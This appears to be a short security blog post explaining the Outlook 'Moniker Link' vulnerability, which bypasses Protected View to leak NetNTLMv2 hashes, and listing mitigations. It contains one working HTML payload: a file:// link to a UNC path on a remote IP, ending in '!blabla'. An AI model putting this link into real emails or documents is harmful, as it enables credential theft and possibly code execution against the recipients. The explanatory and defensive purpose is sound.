Moniker link was an interesting vulnerability, scary, but interesting. It reminded us, once again, that even top tier companies like Microsoft (duh), can make mistakes.
Published on 02. February. 2024, approximately one year after CVE-2023-23397, this one once again exploits bypassing protected view and accesses remote UNC path crafted by an attacker, and by doing that, leaking NetNTLMv2 hashes or even worse, executes remote/arbitrary code.
But if we change that path to:
<a href="file:///\\192.168.122.17\test\test.rtf!blabla">CLICK ME</a>Then protected view gets bypassed, no warnings issued, seems like we get a connection back to our remote server. (NetNTLMv2 hash gets leaked as authentication to our remote server is triggered)
Outlook is treating above link as an "Moniker", hence why the "Moniker Link" alias for this CVE. Key note here is in '!' - exclamation mark, near the end of path, which is pointing to string 'blabla' and MSWORD is trying to lookup that object in COM (Component Object Model) server it started in the background.
This logic takes advantage of a "MkParseDisplayName API", leading to leakage of a NetNTLMv2 hash, or even to a RCE - Remote Code Execution, via malicious office documents. It is believed that this flaw lived in core of a Windows/COM ecosystem for decades.
Vulnerable versions:
Mitigations:
- Block outbound TCP 445/SMB traffic - (Do a zero-trust firewall model regardless of this case),
- Patch with a official security updates released by Microsoft,
- Microsoft suggest adding users to a "Protected Users Security Group", which prevents them from using NTLM as a authentication mechanism.
- Deploy YARA rules for detecting remote UNC paths with/out moniker pointers/items on inbound mail traffic.
Thanks for stopping by,
Cheers,
bigfella